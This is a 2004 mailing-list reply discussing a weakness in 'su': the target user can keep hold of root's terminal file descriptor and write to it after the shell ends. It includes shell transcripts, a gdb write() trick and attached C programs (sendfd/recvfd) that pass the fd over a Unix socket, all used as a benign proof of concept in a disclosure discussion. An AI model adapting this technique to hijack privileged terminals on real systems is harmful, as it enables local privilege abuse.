On Sun, Aug 01, 2004 at 08:24:29PM +0200, Jan Minar wrote: > On Wed, Jul 28, 2004 at 04:54:35AM -0400, Andrew Pimlott wrote: > > I verified that if I "su - andrew bash" as root, then > > andrew can write to root's terminal, even after bash exits (just hold > > the fd open). > > Did You use the ioctl() method Russel described, or another means? > (Would You care to share the code?)
No, I just meant write(2). Eg, # ls -l `tty` crw--w---- 1 root tty 136, 159 Aug 1 18:37 /dev/pts/671 # su - andrew bash $ (sleep 20; echo hello) & [1] 5764 $ disown %1 $ exit # hello Or even # su - andrew bash $ ./sendfd $ exit # hello Where sendfd sends stdout over a unix socket to recvfd, which waits 10 seconds after it receives the fd, then writes "hello". (Rough sources attached.) Obviously, neither scenario is realistic in that you don't just give a shell to the user you su to. However, I think at least the sendfd version is just as possible, with a little more work, by the target user attaching to the process and running the code that way. As a small proof of that, i note that I can run, from another terminal, as andrew, gdb =bash $(pidof bash) ... (gdb) p write(1, "hello\n", 6) and have "hello" show up on the terminal running "su - andrew bash". Maybe I'm missing something, or maybe read/write is not considered a serious vulnerability, but it looks unsafe to me. (BTW, be sure that the tty you are using is actually owned by root. At one point, I was working in a terminal in which I had su'ed to root, but the tty was still owned by andrew.) Andrew
/* See http://www.ussg.iu.edu/hypermail/linux/kernel/0003.1/0211.html */ #include <sys/types.h> #include <sys/socket.h> #include <sys/un.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char **argv) { int send_fd; struct sockaddr_un server_addr; struct cmsghdr *cmsg; char buf[1]; struct iovec iov; struct msghdr msg; send_fd = socket(PF_UNIX, SOCK_STREAM, 0); server_addr.sun_family = AF_UNIX; snprintf(server_addr.sun_path, 108, "sock"); connect(send_fd, (struct sockaddr *) &server_addr, sizeof(server_addr)); cmsg = malloc(CMSG_SPACE(sizeof(int))); cmsg->cmsg_len = CMSG_LEN(sizeof(int)); cmsg->cmsg_level = SOL_SOCKET; cmsg->cmsg_type = SCM_RIGHTS; * (int *) CMSG_DATA(cmsg) = 1; iov.iov_base = buf; iov.iov_len = sizeof(buf); msg.msg_name = NULL; msg.msg_namelen = 0; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = cmsg; msg.msg_controllen = CMSG_SPACE(sizeof(int)); msg.msg_flags = 0; sendmsg(send_fd, &msg, 0); return 0; }
#include <sys/types.h> #include <sys/socket.h> #include <sys/un.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char **argv) { int listen_fd, recv_fd, fd; struct sockaddr_un server_addr, client_addr; socklen_t addr_len = sizeof(client_addr); struct cmsghdr *cmsg; char buf[1]; struct iovec iov; struct msghdr msg; listen_fd = socket(PF_UNIX, SOCK_STREAM, 0); server_addr.sun_family = AF_UNIX; unlink("sock"); snprintf(server_addr.sun_path, 108, "sock"); bind(listen_fd, (struct sockaddr *) &server_addr, sizeof(server_addr)); listen(listen_fd, 1); recv_fd = accept(listen_fd, (struct sockaddr *) &client_addr, &addr_len); cmsg = malloc(CMSG_SPACE(sizeof(int))); iov.iov_base = buf; iov.iov_len = sizeof(buf); msg.msg_name = NULL; msg.msg_namelen = 0; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = cmsg; msg.msg_controllen = CMSG_SPACE(sizeof(int)); msg.msg_flags = 0; recvmsg(recv_fd, &msg, 0); cmsg = CMSG_FIRSTHDR(&msg); fd = * (int *) CMSG_DATA(cmsg); sleep(10); write(fd, "hello\n", 6); return 0; }